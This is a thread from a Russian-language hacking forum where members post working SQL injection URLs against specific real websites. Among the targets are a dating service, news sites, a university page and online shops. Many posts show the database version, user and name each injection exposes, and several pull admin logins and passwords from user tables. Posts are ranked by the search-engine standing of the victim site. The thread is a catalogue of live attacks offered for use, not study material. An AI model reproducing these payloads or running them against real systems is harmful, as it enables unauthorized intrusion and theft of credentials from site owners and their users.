SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    служба секс знакомств

    http://www.narazdva.ru/?do=userinfo&id=-545198+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--

    version : 5.0.22
    user : admin_admin@localhost
    database : admin_narazdva
    os : unknown-freebsd6.0
     
    1 person likes this.
  2. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    ТИЦ 20 ПР 5
    http://www.walkingcity.ru/article.php?art_id=120+union+select+concat_ws(0x3a,login, pass),2,3 ,4+from+admin--
     
    3 people like this.
  3. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    http://www.rampco.info/index.php?id=-11+union+select+1,2,concat(username,0x20,password,0x20,access),4,5,6,7,8,9,10,11+from+tbl_rampco_users+limit+0,1--
     
    1 person likes this.
  4. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.indexuniverse.com/index.php?option=com_books&task=showDetail&Itemid=36&catid=-38+UNION+SELECT+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
    Username: admin@localhost
    Version: 4.1.22-standard-log
    Database: indexuniverse_redesign_com

    Google PR: 5
     
    1 person likes this.
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.nm.cz/sluzby-detail.php?f_id=-31+union+select+1,2,3,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

    PR-7
    тИЦ-50

    ------
    http://www.locationguide.fi/print.php?p=location&id=-65+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),22,23,24,25,26,27,28,29+from+information_schema.tables+where+table_schema=CHAR(115,101,105,108,111,114,105,102,105)--&img=

    PR-4
    ------
    http://www.teos.fi/en/authors.php?id=-36+union+select+1,2,3,4,5,6,7,aes_decrypt(aes_encrypt(version(),1),1),9,10,11,12&start=a

    PR-5
    ------
    http://www.koulukino.fi/index.php?content=elokuva&id=-162+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

    PR-6
    -----
    http://www.esat.kuleuven.be/scd/person.php?persid=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--

    -----
    http://www.vup.hr/index.php?file=pages/rubrika.php&id=-17+union+select+1,2,3,4+from+information_schema.tables

    PR-6
    ------
    http://www.rentacar-zagreb.com/pop-detalji.php?id=-132+union+select+1,2,version(),4,5,6,7

    PR-3
    ------
    http://www.omantourismcollege.com/newsdetail.php?id=3+union+select+1,2,3,4,5,6+from+information_schema.tables--&flag=newstore

    PR-3
     
    _________________________
    2 people like this.
  6. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    http://kolodets-jelaniy.ru/pour.php?id=-151752+union+select+1,user%20%28%29,3,version%28%20%29,5--
     
  7. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    http://www.rmfn-sa.com.au/content_sub.php?id=-48+union+select+1,2,3,4,5,6
     
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.mos.com.np/description.php?id=100+and+1=0+union+select+1,2,3,4,5,group_concat(userName,char(58),Password),7,8,9,10,11+from+admin

    PR-6

    интересно то что на сайте есть статья про SQL Injection

    http://www.mos.com.np/description.php?id=120

    ---------

    http://www.nhrcnepal.org/project1.php?ProjNo=2+union+select+version(),2

    PR-5
     
    _________________________
    #12408 Konqi, 29 Jun 2010
    Last edited: 29 Jun 2010
    3 people like this.
  9. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://citadel-kostroma.ru/catviewarm.php?catarm_id=-2+and+1=2+union+select+1,2,3,4,5,6,7,8,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),10,11,12,13,14,15,16,17,18+--

    version : 5.0.32-Debian_7etch12-log
    user : [email protected]
    database : kostroma_cit
    os : pc-linux-gnu
     
  10. localh0$t

    localh0$t New Member

    Joined:
    23 Jun 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    3
    Code:
    http://velospeed.ru/catalog.php?id=-91996+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29,@@version_compile_os%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20--

    user : velosped_root@localhost
    version : 5.1.46
    database : velosped_main
    os : unknown-linux-gnu
     
    1 person likes this.
  11. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    тИЦ - 60
    Code:
    http://treeofmoney.ru/pour.php?id=-74034+union+select+1,2,3,concat(user(),version(),database()),5+--+
    User: nitsik@localhost
    Version: 5.0.90
    Database: tree
     
    2 people like this.
  12. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    боян. не проиндексировалась просто.
     
    #12412 d1v, 30 Jun 2010
    Last edited: 30 Jun 2010
    2 people like this.
  13. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.biotruck.co.uk/index.php?men=press+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3+--+
    Code:
    http://www.onix.by/index.php?m=1&c=-1+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7+--+
    Code:
    http://www.glavbukh.ru/gbDm.php?id=-2057+'+AND+1=0+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),user(),database()),5+--+
    Code:
    http://www.kuhnimaster.ru/?id=1005&ibID=-15+'+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12,13,14,15,16,17+--+
    Code:
    http://www.iaath.com/news_anno_view.php?id=-78+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7+--+
    Code:
    http://www.collaborativeagency.com/speaker.php?Num=21366+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13++--+
     
  14. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    и опять же КОСТРОМА

    http://k156.ru/sprav/catview.php?cat_id=-2+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


    version : 5.0.32-Debian_7etch12-log
    user : [email protected]
    database : kostroma_org
    os : pc-linux-gnu
     
  15. localh0$t

    localh0$t New Member

    Joined:
    23 Jun 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    3
    Code:
    http://www.qpflowers.ru/raskazread.php?idArticle=-17+union+select+concat%28user%28%29,version%28%29,database%28%29%29,2,3%20--

    version : 4.0.27-max-log
    database : autoanry_cvet
    user : [email protected]
     
    1 person likes this.
  16. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.spectrum-watches.com/new.php?id=-2+union+select+1,2,3,group_concat(0x0b,name,0x3a,password),5,6,7+from+users--&usernews=
     
    1 person likes this.
  17. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    ПР 4
    http://www.grow3c.com/contact_popup.php?id=-2+union+select+1,concat_ws(0x3a,email, password),3, 4+from+member/*
     
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.logos-pravo.ru/article.php?id=-82'+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),9,10,11,12,13,14+--+&root=23


    Database Version: 5.0.26-log
    Database name: logospravo
    User name: logospravo@localhost
    Os: linux
     
  19. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    Code:
    http://www.teachshop.ru/?news=-1+Union+Select+1,2,concat_ws%280x3a,login,passw%29,4+from+ts_user+--
    
     
    1 person likes this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Тиц 2500

    http://www.vch.ru/cgi-bin/guide.cgi?table_code=44&action=show&id=-1065+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3



    5.0.79:wwwcust:wwwcust@localhost:pc-linux-gnu
     
    3 people like this.
Thread Status:
Not open for further replies.